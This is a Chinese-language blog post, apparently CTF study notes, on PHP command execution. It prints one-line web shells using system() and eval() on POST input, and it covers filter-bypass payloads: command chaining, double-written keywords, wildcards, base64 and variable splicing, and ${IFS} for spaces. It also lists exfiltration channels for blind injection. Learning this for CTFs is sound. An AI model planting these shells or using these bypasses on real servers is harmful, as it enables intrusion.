php知识

php基础

0x1 php的基本概念

php是一种脚本语言,执行在服务器上,通过url访问后来解释执行。
文件后缀为.php

0x2 php的基础语法

$_GET

在浏览器url后面加上?a=b就是get型的数据提交
$_GET是一个数组,a就像是索引,b是值

$_POST

可运用BP、Hackbar进行POST数据

危险函数

<?php

$cmd=$_POST['cmd'];
system($cmd);

?>

2024-07-09T02:59:01.png

eval

将字符串按照php的代码执行

<?php

$code = $_POST['code'];
// echo $code;
eval($code);
?>

php命令执行

0x1 何为命令执行

在CTF中,命令执行一版是指目标服务器上的命令执行,也就是远程命令执行
RCE

  • Remote Command Exec(命令执行)
  • Remote Code Exec(代码执行)

0x2 php的Command Exec函数

在php中,官方有6种函数可以执行系统命令

  • system
  • passthru
  • exec
  • shell_exec
  • popen
  • pcntl_exec
  • 执行运算符

这里系统命令与php所在的服务器操作系统密切相关

  • window calc、bat、vbs等等
  • linux/unix cat、cp、nc等等

0x3 php命令执行利用

ping -c 1 www.baidu.com

在命令执行有下面几种可能:

  • 命令可控 可以控制ping这个字符串
  • 参数可控 -c可控
  • 参数值可控 1www.baidu.com可控
  • 整体可控,但是要突破过滤

参数值可控

例题web7
代码很简单即为列目录,需要我们传入参数dir,如果没有传入,则默认执行无参数命令ls
我们只需要传入&&就可以实现两个命令并列执行,前面命令执行完毕后会执行后面的命令
相当于
命令A && 命令B

  • && 前后连哥哥命令时并列执行 短路
  • || 前后两个命令有一个执行成功就可以
  • ;独立的两条命令执行

命令可控

例题web8

/dev/null 2>&1
重定向至黑洞
我们通过短路来使命令一分为二,让后面的命令不回显,正常显示前面的命令。

整体可控

1.黑名单过滤

替换过滤的情况
其程序的目的在于把关键字替换为空即为安全
绕过直接双写绕过即可,比如替换了cat字符串为空,
直接提交ccatat,替换后,结果刚好组成下一个cat
简单,但是实战中经常遇到
双写绕过利用条件也是仅仅限于替换为空,如果替换成其他字符,基本都会走不通,比如替换成ABC
ccatat替换为cABCat,命令执行就会错误

过滤特定字符串(例如flag)的情况
读取flag时遇到过滤了flag关键字时,我们可以使用通配符绕过
通配符需要我们掌握两个符号,分别室*
*表示任意长度字符,最常见的就是一条命令处理多个文件
比如批量移动文件时 可以使用命令

mv *.txt ./tmp

上面命令会把当前目录所有后缀为txt的文件移动到当前目录下的tmp目录
如果有成百上千的txt文件,使用通配符,即可一条命令完成
表示占位符,表示1个或者多个字符,比如我们当前目录有个文件abc.txt,需要移动到tmp目录,我们可以这样写

mv abc.txt ./tmp

如果我们有很多类似文件a1c.txt a2c.txt a3c.txt a8aac.txt
这样的文件我们可以使用?来精确匹配

mv a*c.txt ./tmp
# 会移动上述所有的txt文件
mv a?c.txt ./tmp
# 只会移动a1c.txt a2c.txt a3c.txt,不移动a8aac.txt

例题web9
在flag被过滤之时,可以用通配符对应

**过滤cat、more等文件读取命令的情况
在linux中,有很多命令或者程序可以读取文件,如果自己熟悉的命令被ban掉了,那么最好的办法就是打开自己的本地linux环境,寻找不熟悉的命令,或许就有可以读取文件的其他方式
最常见的方式就是用别的命令替换,比如过滤了cat用tac命令读取
甚至nl more od 等等其他命令也可以读取
当然还有思路,用到组合执行的方法来操作,用来构造命令

  • cat 1.txt
  • cat echo '1.txt'
  • echo '1.txt'|base64 ---> MS50eHQK
  • cat echo 'MS50eHQK'|base64 -d 等价于 cat 1.txt(通杀解)

例题web10
用base64编码绕过

变量拼接

对于上述的通杀法,如果一旦过滤了echo或者base64,就无法使用了
这个时候就可以使用变量拼接法来绕过黑名单
在shell中,是可以定义变量的

a=c;b=at;c=fla;d=g.php;$a$b ${c}${d}
# 等效于 cat flag.php

这里定义了a、b、c、d三个变量,同时用$a或者${c}的形式进行了引用值

  • a=ta;b=c; echo $a$b; --> tac

符号过滤

空格过滤的情况
不用空格的姿势

  1. 读文件时,使用<>代替空格
    tac <> flag.php
  2. 使用${IFS}代替空格
    tac${IFS}1.txt
  3. 控制字符代替空格
    %09 %0b %0c 可以爆破
  4. 字符串截取空格

     ctfshow=aabbcc
     ${ctfshow:4:1}

    例题web11
    例题web12

php 动态函数调用

命令执行和代码执行的区别

  • 前者执行操作系统命令
  • 后者执行脚本语言的代码

函数返回值 函数名字(函数参数);

$ret = system("calc");

蚁剑连接,通过code来连接,控制对方主机

<?php

$code = $_POST['code'];
// echo $code;
eval($code);

虚拟终端使用
例题web18
例题web19
例题web20
例题web21

  1. 危险函数利用
  2. 过滤了黑名单

    如果仅仅在代码中过滤了函数名称,那么大概率就等于没过滤
    例题web22
    上述题目拼接法即可完成

例题web23
例题web24
例题web25
例题web26
例题web27
例题web28
例题web29

对于无回显情况的命令执行
需要一个通道-一个数据传输的路径
shell_exec

system 相比,没有回显结果

例题web14
上题又写入文件二次返回
例题web15
例题web16
对于无回显情况的策略

  1. 写入文件,二次返回
  2. DNS信道
  3. http信道
  4. 反弹shell信道(需要公网IP)例题web17容器内反弹shell的51种姿势
  5. 延时 sleep 3

本文链接:

https://youngking.xyz/index.php/archives/494/